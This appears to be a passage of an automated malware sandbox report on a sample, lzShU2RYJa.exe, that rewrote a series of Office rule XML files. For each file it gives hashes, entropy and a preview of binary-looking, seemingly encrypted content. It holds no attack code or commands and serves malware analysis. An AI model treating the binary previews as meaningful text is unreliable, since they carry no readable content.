Preview:	<?xml~Q.+..F.h.e[....(+...>..3;_.%S.)....4...../MX.X.,.O.Z.8....".l.1o..h....4.....O.9...".a.3.Op'D...k..r..r.....D..R;.....r....i.......g........MuaV.V.L.RO....71...-...._..+.+3...!..ZW....`(.W...D..`w.....l.....;F...+Km0z...6..,.R.'DB..,..K.B..gdG '.(2.y.....e....s..>.4.+.b. ....+....V..`...o...m;..)....e....KAa.q..r....+..b...:\t..z...1}..0.../.V....\|...-.tLX.b<...)%.)I.Z10......n.7p.^S..3..'......".l}8.T.....i?r.....0..\|..,'/Cy..`.L.. .e....V.i..N./......Qoh.../h.....s.t...Ct.A...,-.M..Z..318....p..O!H..e....F.]......f^..6.r$.iK.......N.y..B..f...c. 5..qq.?g...Jg\|..T...........f..W.M...c..m.u#k,...(.%.\|.)...j..Q.d......T^.......).U...,....'_.._.).....R.r.N{...Y.C;.N!.HgEg ../.tb.l...[..l..(.hf..g.&?....a.Q0V...!".P.(.....S-_7..s.*(..."G..../.....y...a.~Q....!..61..!.r..7-I.<!.\|N...2qc.&+m..Q..6....Q.qQ../.......in.'3..h.s.....>N..BmBv..0.Y.........K.1(S...\|.=!.u.......w.ey..b.hP..=.U......Z~..W......j.S.....G..X.C!#..N.z).WP.k.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702300v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.885414101834595
Encrypted:	false
SSDEEP:	48:o/lKJd08yTbK03aS3L9C1F9L5agdl81FD:o/lKTvyXqS3wF5FY19
MD5:	21C0824CAF80F0F6E75005ADE305686F
SHA1:	6F898A88B6DC895268EAFB827C3873BF96671CD8
SHA-256:	42E4602E85A5A5A512A915D0E08BCE79C8609BDB8551B1C3F30067B1D50DA432
SHA-512:	B6A5D2CB7CD9D4066481CE45F99D1213D3F840A487FB85CE14A030E6F63A6F8C5DAC5A0A47BA38AF1C4743EFDE6CB8EDFFE06EAF39EBCB32F978A0C015695FD4
Malicious:	false
Preview:	<?xmlS8g....Rh...2.s...($.P5c.b...K_..1..]?h.w`..3...hG.z..-...B..;.....hB.9..P<.7.fUw.b;y"..S..qM.b.5......'......J.q2.+(.)V0...,..x,p.....I..RE........,.2...?.6Ru ...G..]HY.%..j.;V.T.N....4X.......r7.....d=.0............<.FW.#..A.D....H.<v{Q.....P.m[~.=...Q9W....PR..~]..m.j..w.F..2E....:9..Psl(7....>qu......?X.f..q..AtVG....u..x.b"..H...E..9......Hg.....#.+.Ma.+.,..9..P.T%.-.@.+....:#o.......-.^....v(...4...^.p.[.0..j......O..13.9.#.....V.=(..C.j.g.Y*>...!..?..N./.........w\\. .I.d....S6....k......\`NP. &....6..'.Tvr.."E`....8.-.TJ.U.P.kV.$<~..`.i..........}E...h.VK..}....."n......s..7..`..~R.....-..],4.V[^c.[.!.:b.!@....`...~.O..1..s..SX.HL<F9"...1 w{.0.....%...-.{..J..W+kE..Ml.....fJL.8......E...XG ..=.7.%..6... ..N.z.....[...;...f.s.2.).s#._.<m.....nmk....b..S.5HA...wm....."1......j........{.qK....}......L.GbR...jo....j>(..z..M......>./...a.H...S.\../..L.vse}.<a..k..gR.G....F.!Sa@qHf+......J....h..x4..\|.t3..L...nF.q.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702301v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.865823479712807
Encrypted:	false
SSDEEP:	24:zBXd4IhO1aLkQ2Rqi87eQv0Csd2YDzgai28UZD4yr1Ri2VB63TJXfjUtMzEt2Qrh:zNdU1aLkZqP1vlYngQpK2adXfGt7r7FD
MD5:	D16B98D277DCB91E33D361621FDE8879
SHA1:	29C84AC2E60E849F4E5C94185251DD3320A362C8
SHA-256:	096BE81F669A8D8A02BDDD1B8AC4BB913DDE9F46A8957AFB90BB2183EC041A31
SHA-512:	13E4FCA3CACC2254912143019DF78AD0E10752BA7F2DAE667CC3BCFFE7A7A76346BCAA12743AD55071EE688236146A2A146A4C02318EE1846C7839BF15E82BE5
Malicious:	false
Preview:	<?xml...y........Z..w(i.M4...u....c....f......aY..F...f.PM.l.q.xZ...em&FpGN..qt......^..........!Q ......;.2..r(...H...2...,.=q.I..i..a.qN..........1:.......5....%!UK.(U,........%d..........{..Y/?..YR.:g$N..+L.9?@.......^...Tu.#._...R..yi?>..\|.....z-.....H0...T....2O^....]....l.~W.\2QD.zO....Ig.p....:...@.$..G{......e......4k..y.....vSb..L.S6D.4.\.qr..>./.Rz..f.0`...l/.Ix..... .7:.MO.O................Y8!.......D.VP_..p..I..5-....de.c..PJ.O..DN..5....\|lns\|.s..r.... -..i.L.K......b9^.kn.(...>.....If.5..o.IU.Q.{._m.k,.......-.kj...[.......>c...p..U.[k...0(...7.'....r.E,.d/B.....3..5c.X6.L..iG3P.......yi...2c...c....4.._....K....p.>..!....@L..XD.....uC.l...'I...b.z...@..i.H.......\......q...5....#.e..>_C....>..q..~8(....`..8(.^;6......K...q...o.........cjC...........a.$..'#~D3..Gmg......:.y0sV..6....vo.....~...YC.lO`...B..M...f.....'N.......c..1.E........>...%....D...H9f.....n..L...q.Z..wQ.^.k..CD....-..D.-,....Ht..Y.I....\.}.eV.9.H..=.o.2gY>..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702350v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.84545601622102
Encrypted:	false
SSDEEP:	48:La68US2kj+ZyZakQK9d6MIYeoeBURjIxl5bV9NFD:LYC8akQK90Mvery+xrxv9
MD5:	33BEB3699BCDC75AB47E4645185CFE14
SHA1:	A3A49D883116076AF0EB2DBF599492FC503FEFEE
SHA-256:	EE5DF4B2CA6662C36C1310CF6470EF7F8DA437D3793F42B27043D8E6D376DF56
SHA-512:	A6046FAEA1EB607E5E7444C2A05D8510C37EAAC3FBBCAE35595DE2C9C38C1FF23622003913BE866509CA18D1987ED086ADF50FA9FE07DCD8EDC526972E09ECF1
Malicious:	false
Preview:	<?xmlk.NS...........{.VpJv...0.e..T.#..z..p..]e.w.U.oK...fWV.v..v..$..d.S..{......Q..]).V........g_...".N..q%m.3........AG .D.}KK?[O.5Xu2.g.q.........2H..E..qc.u...O.[....k.5<.DS....?...h2..p^...K.(m.(.G....BJ.P.....K[a..?.ueG..q..T...O2T:......X\|.5w.Q..I.0..7...p.......w....l..u..J.."...%D...E.N.,.Hs{.`+.^....u."G.e..u.2. r.h....x......M.IB..ow.....R..].[...$...Y4.V0b+........'.B.s...9c.br.!..m.^D....=eyr...0....8.U..K>..6..3J.F...D..[...7.V.I..R..r...-,U..0G....1../.08H....o.........hD5..To1A..[D...#u..~..I#_).g.0i..g.......Nk..u..Q.... .?....5.GH^+..5....7.=il.......'.:>.....\....[...W...A6..iM........Aw....e.we...N.....V.}...1l.../.E}=.o.y.o..._. ..z..A.9.X..\....9_....&.1...E..(`mn2JJ..H...K.g.+....\|6H.E+..>.^....T.......H*p.h..5.jA.T....R[..b...s.g..P.....8....K./...T"&c.H.Ro....\1......qP..K...Q.O......6..... ..H....z..Mhvy^.Ob.....G.?.Dk...r.\.... 89.8.6.;\|A.p.M...3..J #..s.M ....p.<.V...i..w6..w%F...~...Yo.........&D

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702351v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.891144390084676
Encrypted:	false
SSDEEP:	48:ax8NneqNBLW+dxaZqf7ANifJJVl2x00k1xFD:CDqNBLW+dxaZaAMBJr2G0Ax9
MD5:	2C301E2D70061BBB8E0EE8C31CF4A526
SHA1:	04DA49550242E71300A6F50510EF28408615F078
SHA-256:	027FDFCCE9F4DF2CF7A5C4D72EF457E464361F923F0D84FCE6C02CB79665FC71
SHA-512:	9208F2D00ED22265C6A3D877778F69601CFEA3B2EB3FC7F79C6C4CC7D568F63A65C4F847EB4DDAAF1A6ED39086CCB0ECB495EDB0F9EB559B45D810AD334008A5
Malicious:	false
Preview:	<?xmlY\|<.7....fa.il..m..eq.Z..P.f......n.][5n..%...N..2....0@.$....E.........6u.>.......<.S`YR...c.+."-\....F....z.U..p.`...........y.>=..%.....Un^.]{.k...:.Q....o..$).....j.Y.=.1...Y..nA..v~......q...a..........>..<.T.A....l...>...Cy$.a..%...._:..S....6..,].H.bH. ...Dz.83.&h.V..x.y\|.....o..X..._.6......`........8.."..@......\|..._..4...>...c..C(Z..YP ..6W..;...3..........7/D.2.T\.G......v....^..+,.GdE..N...X...ci....T..R...5....%1..`c..uo....?.[.a....Ch.\|5.};M+.S...... .....$k ..-....7.[..+..Mc[.F..Oh.../.....7.!.....#. nAY...T-i.,+. .,.G..B..T.....V.$~.+E:..Z.}.sZ.&...[..8J..Bl..X..:G......~....i..u.z..'.(.g......e..!...9....P"qp...k.+..5.\|09D4^.\|"..........dC....O........n. .VD;d4..Vs...#x.\|...).......0.(^./k..(.cw....v.b.b..J.Cn.....,...t.........+.......9..`...&..M..-.M8.g....E!O~..q~.e6..F[.t,..u-:S.....)....C#.....SO.....K.t.'.O....b.V.....=..mb8?..\dO...E.a..h......i....5.#qaNW)..q.....fQ..-W^]..... 2.f.....P..\...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702400v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.876105979291418
Encrypted:	false
SSDEEP:	48:gkf/EvK1JZKHktBC2feWXLL/NCiB38NIqayRtfCePhIHFD:ge/vZy2feWbxCyXq/ffIH9
MD5:	E416785C2C833C6F6BF82C057714EB4E
SHA1:	F710BCD36F2CA4B29EAAF4A7C3076E557AB42D09
SHA-256:	3D9122513678C1E53497247DE26CD0CD02E3ECE616F3B5E32C30787A53DF46CF
SHA-512:	16E78ACA825B3E0180D25D5A9A40F0409390E8CDA1C09CA272E6A5CB3EA3E56A104CD92EC66CD8F76133A1EE2BDD47727EB11284B37E2D4410C924D013611CFF
Malicious:	false
Preview:	<?xml<!..%.J...2h...t<.b.3.)..M...(..a.0...T...c[....).z.,J.,..Fw..1...W.....!c_b.n..xgw.k...t.4..kd..j.o.....8..`..W]Q....U..+.G.H.qT..2O.VX.Y...UG.,BwVk..\.P.!....).&.~.I.....[3B:F..h0. >q..3.,........."5:.."4...7.....F......N....`i.(M.-^.W..L...."..J..;.q.y..J...`....k....-......i..n.........+@!.dm.. ...#.........B.D(..,.......c....,..!..p........i.'.)..r.....e.g....T..$.n,.y....V{...p%W...O..d.wY.v.f.q.d.W\|.;.c..+:.{...O.j....E..D.w.0i..t.y,c.}.#.../g.#.....B..]\....%..~..QB&....h....g@.....m+..O..j.......m.Z.I.....R...?.Bk%......./].K.S\|C...yH>=........cd.$......._eJ.r...c.<Hx..5..2.c3.../._....J%.N.@L.AS...p.>u....\dM....&...]c...4....yo.h._s...".d].o...9.%a<c..;+..%H../.6&........O.N.Q...&1..).[.....9..>...[//.3<.....A...\...>....(..u.0.._...ddR.<V..9."I#.#g.EJ:..Z..GQ... .........~#h'.BhkA.=...w.....y..q...9f..VFT.XL...'{...@_......F(.y.E.Ip+m....U.\|H.lYA.A..f_q._............tLk..?....f...3.<P..+Du..R.*.kw....\).K.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702401v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.889662413664779
Encrypted:	false
SSDEEP:	24:uzifijP2bcWyySjbOE8mZGxhfJSnYaQG1jFmlBezAARVINcVrIOKelo0VbD:uzifiSYAZQGsHTdwezA0GNcVrIMFD
MD5:	49E2A92D0212F9CCE562F2AC36E84CC7
SHA1:	2DAEE0726909125D3298BCF772A2713D9865A57C
SHA-256:	0017AA4F02CB97B6857AB6911528FF72226C4833E7E2A1A3E493B0DED502E491
SHA-512:	DCBBA9AB8526A835F8F6DE306F8CA44D3C69942FED11355C4013D5FE6DD42C28701925DF648FDB8FBE5C0322BE63CD475CB734CAB91A3F21D39E0A2C49C6EA40
Malicious:	false
Preview:	<?xml.9}.U.n1..B.NQV..!.N...y).7u:..C.u.@Uo.9.......J.jt...zag.8..l.zuJ.....q.v4."i...B..W.h.7...=.\[..q.0.9.L..A..Ga.W....A@#...uf.<b,....ds.....)..d.ay........2....&...@.%...H~...w..v.cPk7;.:.}.A'.Y.m..........s(...._./...e pXC.kBN.,D.y.Sb..'.. .O.P!{1....SYO.F.........h...#.'1...M{...fEyQ.....<.x.!w.-.nT........].., ..H..u=.O$U....=)g..l.:.g.xf......Cb...?...u..b.`6.d.M....@...z.J.....^..=y..Uh..S..g...:nF...I-.Z.t.8.....}8E...h!_.(.....r......q....tb.V.R...!.u...c...._R....z........2pG.B.b.....x'>..[.O....8.\5t...M....[.....d}J.... .f.2.pO.;B....wm.8..N..6.].)..$.....[.... ...O...}Od.y.w.`.cp....-\|....KG.5.$h.....j........1.(...b.Ar..LbM.PA.8.a..1.....9..u.A..4.qa.{...~...U.9..c.V.r.)<.c.....t.f...h...3._...D.."N.d..i.6.+.+...Z...B.]..tp..+._....?..W^....>....;.:.}..%y..U....lvT..I...P..!Ja......cd...y/b<./l..J...^g.:.3...K....h..}..f.v0.er....]..~.[.F9iy.{l....1..........Z..'..](..8.>.c....j=.T...c..>.G.S2I!..........\|.a.7....."w

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702450v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.879695830307078
Encrypted:	false
SSDEEP:	24:YrIhtPUSXq0dqAxRAwuaqKKXPB3a0tIe/klufwX8+DxqrG8pNuPVbD:LhySXq0dq8DbqKKXPB3xX/DX+grG8WFD
MD5:	F7F3E77417E1E9FF635D65B1190F0D79
SHA1:	8480928BF2FB87FE92286EF904A6B166BCB4A2FA
SHA-256:	4CC07F1F207810A8464AA02BC34CEA6DD90AF841E58C7792D272635E708B91DE
SHA-512:	96002DB0C059FD60FCD521B69CC4DA22EDBAA0B282BE8EFF0D237EDF9F237C7D5B6E058E2E3B34665B63C2E05B89D1389C7ABA1C80469801F64B3ECCBACC6378
Malicious:	false
Preview:	<?xml.H....g<.?<.c......v..QC.R....<eL.....^O.....'(...s.....i_...7..1..........K.8!!..c.M...,.a.\R.;GU...[...h...0........D.\|.f./...t...n..S.\|._.N...e...y.)f.JU..'X.lhzv%..9.........TG.f.z.LqM....Z...1[..@.4.A.#K8Jr.8...s.&<..J\0...k..a.T...4..... .Y....E.'g...[..8OCa....U.P.5..~.B...[f\|..S(4..r....>F=..S.k....m...#..Ld7i.0VG.n....i.U"S.~.U..@...y...k.&\0..Ea.....(H...["..$....N7...E0] b....k3..&"......K~......c...\|n.Lb....qlv........#z.....<d6....W..c.....!$......T//zH.>}......f.^7QJ..#.t....w...{..#a_r9.._..._@>.V..8fR....6c^=`z...N.-.4.[P.K!.......$X.K.;.zoh.{r.@..5A..bXpu...X.. #.m...J...Cr6.J.m..Tm..a{.b.....6..Q.40.\.....k..........7...o..c~.Ts....%i..n_Y......z..(.$...< .<...yGJR..z..j.2r..J!....^...o....ob.V...~A....6].6.._p.IR...&....7.k...{..U.D..m..A..... ..lEF..{.`<..L.-..X.##R....\|qCLE.`. ..C.......J.PJ.a.z...iK..\...Y..-T.Y.1..L....:..lY.=..J.......ML...uL.W........J..S>4....z3._...f_.^[.-....cA...gm.........*.a.A.D..D.=.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702451v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.87853333900995
Encrypted:	false
SSDEEP:	48:IQxqY1895sKMzqvmJQiqoCuNGP+L417JqUEWo2tskrhFD:fxqh5sKl0/xOjqD2Bd9
MD5:	7AF663422F7F57C89B3F3943EBA5A255
SHA1:	2EFB5E8811F827BF8E794EF9BABE72644F4F919E
SHA-256:	69BC2340E890967BA6116A914840BE23521D03EC24ADE7E36E0F9098B7DFB2FA
SHA-512:	E64FB4FE442657146DE273FC3B032015B85697508F0CE9C7CFF111A5A974DAA66F514223F200B2EBCA0A8456AF97D0D3E9E396BF7A4E32AE15EF3180C76E3F51
Malicious:	false
Preview:	<?xmlp..K.......E....e~l.\|2.-.x.U.5y@:.7$.\??..x1?..\.=..ej%.`C.nga].,..../..^a.J...c..[...].E.....D?[...........qZ......@.j]... .....ETjZ..E..C9..F:K".v...5aI.5d......S...&...Ye..P.B.P.......'O.Qp.\|`....R...R.{...+Q...w`;!...y...$D>..:...W{.3;.3.."<.eD4....O`...=..u...un....g..g.....DR....acJ.D..WAAN7......!.e......b.F..0.f..?N......`+).n..a..EPQk..C....3.'.sS.k"......NC.....:.,....#fB.....s[<.mW.^.....5..p.<M.(....d=:.2\|...o.T...^....$..j.<\.}..s^..e.......Y.;.\|J.N.`.X....u..GR;dGG.CR......<?b!2X..$'r........}.e.......x.v.}l..n o....n.{.A.:..a....tG......#.^...~..'....._..k...........b.h.k.......J..H.(.+.\|8.s]..J..sF.d.>.[vI.A{.D.d..{..)<KuU...@.....<.\|Q.j..z...{.9........Gl...f..........A.......K:...V.<.r?..3..\kRA,u...EfN.7.w....i.W.=.};7.f.:e%.Rfn.P.....=="N..P....H............P....0........r.r.b.1K..u.G.#l.. ...+Y..P.X.u.a>..I.10.U5.K..zv.j8.I.Ti......>9.j. #...........gU.=.....p..}<..a....6.f.. .X>.Uh.....g..=q#.F.......!.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702500v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.886255704448824
Encrypted:	false
SSDEEP:	24:277jdtslmuptBbdCuapx2tVp3CdZMI6A0huCR0golaZkzKa9MJEQR/YyyyVbD:27nmmu9dTX5DIW0KGma9uZwfyFD
MD5:	576725F7A5D0F0CBDB289B90798D8E61
SHA1:	A4A5F7702C92A9A0216806C9A48C6F700BE01F46
SHA-256:	6CFD5F40F24D71B660CB61268017928537BDF69B8C044EEC6F017536C1ECA1D6
SHA-512:	0A12126C5921B2BB3356B0F85E26224D1BCF4C7B479954E5BCD2D8CB4B4D094F84D84232BDC3C781420E8DDB0052EDD0FE3C29DD374CF53949DFD88458FB509C
Malicious:	false
Preview:	<?xmlO.."g.GY%a...]..N.B.....['.2..+.'w2.....`j..>../.Z.=.OQ...w..E.-......."..M...-....M.3.....p..S.....0..i....r .......o..F...1.F)..$..u..-...U....V?...\RI..=Jl..b.....1...}Dp.l=...z.e.-f%..8.u..>#.\|.^.2..X.`...S.<.;...T.F'.`..g..4....T.........%\|....l.W....n......C}T;....}......U.A...d.N...6.......i5:...D$..i(...._.V{..O6x.6..\|.n.....K..6.$X.L.y.).H..........G}.Ghi...."....k...T".....C.!n....AD..z...Dr....Mx..5.$l...Y.>...L.....faY..D.....l...{.."......`......&.....\|..&.......G@.O.....iH...K....w..OE...K....:...Rd...h..`........Y.....KO..N...t..vT.....h5D.Y..<$..Rm.df......lIW.HPY...Q!.27...##.~G]q..?.iN1^....k...n.yG...M.B.F...\|.j.....Y.}...........p...&.:...G.(Y..$mm6.NaI.........O.......K..H;.............P..."Q...qN...0....m7$.R?.v.m)F...<..~r.M.._..y.........7Gx..H..A...$t.W.v.z.y..bb@.=pM..u.......a..4...m#'..&T.[.J....R.iU.qv.W.A.@\Xe.....3.=C.e.x..{.`.ub.Ce..v...B.6\|....yx.T...X..l.;..o....;B..*.../.....Q.x.XAk..A.b.....a......q......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702501v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.878690905809592
Encrypted:	false
SSDEEP:	48:NKgBC6Fwtaw5u5XNm1DDi/yv8DC4+6BQe91Rby0zXFD:NKgTFL8iKDi/7Dx+6aiRe079
MD5:	43A5F4272A765725209849AA429B8DC3
SHA1:	248744E756BF7ECD390A0C8DA4086828A112258D
SHA-256:	CEE9D19FE69DCB895C450320008D86C8D0B674543DB7FF4DE1900460C4F0967C
SHA-512:	53D10428E9BE3F02AF0D07736162B9B4044F40D6A4073160D560D7D583C3337B7B2BA2751484216490117A32FB3B30E36AB35E81F901F582ED88D3F7F02EE093
Malicious:	false
Preview:	<?xmlR..]..$.....2.J.Rk.9..k.g.v8.e.d..h.M....c.1F...,N..kN.......n.\.-....n.;(w....O.4_M...r.J..c ~..JjZ.d...E.\T..S.p..\|e.p.u@........1^.\x).J6.o}..$&..pw.W-e...l...6..}[.Y.Wb.A.6\>%.....g.9=7...[K...... ........t&..j..zi#.m..+....A.....p.\|m..<c.?..m.>..O...T!..f>......p4.;.Q.:\|dq;......\...K=.......-l#.-.T?rvv........f..c%3.rSL..G..W...O.A..1...oQ...z...tE....u...\u.x...Kr.5,...[.r1\C..L.5.#q.O.......M.@..u.....c..h..)...>j...Y.u.7L{...7]..{.A]..4..[.K.!6....Xt...}#~e..;.....;..\|x..&.;65...I^e9.b.t.......i:.....&......!..X..u.....{..k..jZr_z\|P..uJ..(+a......{.9H.....T.....Q......@c^..s4..>..{%..V.w....p_..f....ag..O..KN2.......L ....zw..n.......-..~$.......!."...r......AB..BV........5.L&...x..7..@r..p..........$.y..I...C7.........O..s...\|...s..Z2z..jv6^.\....+.].c...?e...4.G.. q......O.q..!..-.G..7.O.\..P..1...I.et..g.'.l".P.....z. ....`.L.Z.;.\...mV.O...^.}..E..)d.:......o..}.....Y<..R.<.....~...U...q..8..n 2....;&.V_.Wm+A.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702550v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.892746621802939
Encrypted:	false
SSDEEP:	48:C2+rx2nI9uWM2jkJIJFzYxXko80H7n5d9ug0fohnZubignFD:C2ix+I9RM2IJIJVuXkb0H7n5dZThn4bR
MD5:	20CC59566B27FDA781CB5FA4AD6A3ACC
SHA1:	CAB480396D9EF0E28B1A0163DB2F9C9F44A55863
SHA-256:	C33B2B12EFF2567DA3AA3FB3F80525FC6E022B1FA680A44049418A42A73831C1
SHA-512:	717E846FCE6869A578C8503221028D6EB8949F11D37CDDD605E5DFFC311CB9F5C674FD5238830DBBF4A1EAD52501B9B1AD7D525E5E4865D070D1379D08FFC0C7
Malicious:	false
Preview:	<?xml..Q".iw...i..:.}..v...%....HM...R.r....m..[.r..?..yT..:..#;.Y..n.....TE......?Q..B.. ..)o0/.......#V,.5p...ic........j..#_..+.H?o..@#......s;t.z......A..1..^}HE..fr....&.....qTZ.y......!.\..}.>...1%....Z+..b.....1...D.s....)\|...\.S.>"..G.J....T..m...W....+....~....0I..@J0..>.../-..\....w. 3.....G..]...].x....F.4/z...a."$......R.N.[.....J..."..6H..>c...N.Y.#.Z.:.}...a..h\.73..g..P/........W...>1....#.?....xt...~.s+O`....P.._...4..v`..>..A.SM`....Z..~..!...H?....W.y....o.......LG."..v$..zE..N.[[D?...T.F...K.F...\%.Z...U.%).:....:.9a.....:.i.7f....\|_p.(.8...U2wG.5.9.5..T..,..(8.-ne.......?..1"Ll>.j..$.e..... 8.NeP..H=}.jX..m..-..j..n.C.4C..j~j....U B....}t!..;..../y.P.b.M...^..&'......N@..;[.).?...#.+..4.A.ME....z...a`[.....+_.+.t..9aS.j^T...X.....C.0(..o"I.U..S.a....B.J.36......v.i.LUw..[0..-..<.)...a.)....6@..I..UX.ez....g>n...E.u.S/A..uD.A#.rd.N....W8.5N.v.; R/9...H..... .'p[D.i.oGT..)...k.@.(..B.e..l.._V....]...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702551v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.892948359457302
Encrypted:	false
SSDEEP:	48:NiwRRKdPstxrdpttMHeafX3ga3Bq4S5BJVJq/H/DFD:wUKd0txrdpAf3CBc9
MD5:	BE26699BC2FBCF02B8C5956D29053AA9
SHA1:	249BFB78C7BCA8C31E106F125EE25438800D74EA
SHA-256:	44A8F1F3FA3E61E81CCBB40EF10A46DE32A30CA95A955F3A8A38D3A25B118DA8
SHA-512:	9863051599EEF02CD960C23A26BAF35258EFA3892C4B8D6DEE2F7EB1FEA6BEBC6C14993727C0B13E7D68029B637043CE566D3646A112CE5DB6922CD7D8BF81AA
Malicious:	false
Preview:	<?xml..+J.#....6.......#..sP...\.h..p....3...^..[q$.\......5..[.......,.<;xH.}D...q.x.R..D.... s..{..%\.(..[z.......~..OH6.X9.R...ld+...Z.r[...8.n8]..M.../../p..b.[[.SV..<b.k...............@p`.g.n.v.N..F....N..C..o..5.^.-.A....?.....H.v.a......-..._..-..-..C.....QL..O.......p.cj.3...e....Cwd.k\s&:.G....2....Y..O...<f..r..:.;..(y >..~l.&..'./+y.<.5'.a....%.......G..yG..{...r.......%...}x..]..,ZR...K..H.j.2..E..?....r)..... ...-....s.D..\|....T.]....B..../}../.#J...<.....j....w.... ]!...JP..y.B.w.~R..b...l..RQ..1/.A.....6..#.a/=_N.@r.i..33fc?.#....5....i)..@,'.3....D.r.......k....M.....&..V.>Y3F.%.W...)8O.......IH../?...q..^..(n....8... ..8q\|..xp......G.tKA...n.JQTYs..2?X/}.mjY..AH....6..T...7..A..m6%v....].."..:...\|.;..".x..IWc....f'.nSr:...#.>..G(..f...5...P.......3..^H..9^\.....#.,.b.$.2.VP...}......A.._./Wi>D`...D`..f..V..{@.e.v..y..%.....f.q..AB..c..#,?a...^A...R.BfXR....z....<E.......ZxX.8...].Y.......?..>..(]9.b...c...y..F.,...tv.Xm..Ix.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702600v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.900335130665826
Encrypted:	false
SSDEEP:	48:7UaVWqP5aqwhdlrOjNrMg4MlL/Om4XSICYInrSp5/8VgKucFD:7Uasu5apA/4KL/OmFInInueWKf9
MD5:	060673AB3F52F441257243C8368EEE8F
SHA1:	2DD4779D47A5A5D7762ED1B80B224230E73CCD50
SHA-256:	D1D91875928E71EBD3DC4AD2F86CEFC023DE1A30A0BB49CC8FFB871F20E33350
SHA-512:	410013B7FA40BE92339E5D6694B2F91DBA642CCB8C88E3D41EE80D2F0DC92A66475A40FB8B5E657F524815B276F599D512388A991AB23E55CB54DCE3EF9E4CB5
Malicious:	false
Preview:	<?xmlzGx.N.;.........E,0X.j....R9....K....6..]i.s.......v'x.-...D!....,...(.7K....G...X.M3Z!......!...N.E..Q.%VN..S..v. >..U...s..0..h...)..).B.3......I.}.t.Ev..u..#.S...<...^.T...%......q@..$.^_.D.`.t...A^..`n.f...&`............e..l.R...`.H-i........W^..'\|"..O..`..g. ..A...N.u.5......1......P...?B\|bjl..T..T.H..r...;.m..C...m\ih..t[....KI.L,.\3..ct8../x..n.....P..K..%.)Z..x..K.)_.$]&H.Z.....d.W.i..U..7...]...:..Fh.C...C.....'E$Q...).....b;...%t.m..:....2....c&.....JV.~.h.g.7......\|J.Wn.C\|C.d.........!`.,I..NtC.B..J.E'R.v4..7..}.........&,v..;...Xx..Z.9.fA..._a..}...M.h.rGgG..<..'h.A8........>f.;k.[Z..$l......i...c{Y.oE.@...LpR..,D..v\..8.l..z....?J..[.&..h.J@Y..!..h..CnSJF.._?.P.K..............k..K.Y..9..%.....$..m...i(.w..xR....M..\.....~....I..fR..ae_....d............3.2....ixF.q.8.B/.?......\|..QNis#...U..r..0..XU....9..u}..>'V..[\|y.b..~.qycO.E...Q...%...b9N8H......i6..........~'d.(w...w;......k..2..<...\|.c4.\|....K...<....Oc...hy..W.T.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702601v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.863750308891213
Encrypted:	false
SSDEEP:	48:qT/CHkc+IzaSBh1MhLOIcx2n9/+1YcONkGw5FD:qTqEBIzaSjG9PCK9W1Ydo59
MD5:	93F8D69400D5FDB51F044A274AC427C9
SHA1:	EF702A51F8A837F819C4C738B2C71E2FF4CAFA14
SHA-256:	1AE2772062FB4DE25F44FD11CFC75672D08F4077D51EA464E190297CA331A4EF
SHA-512:	7993A01671F22998090AB7B112C0297C14376B844B3D74B71F42DB7AB95C341CADC79F7FA991A3738643D8A4EF083AD5D472A2E11E725927AA8802CE5D51A8BC
Malicious:	false
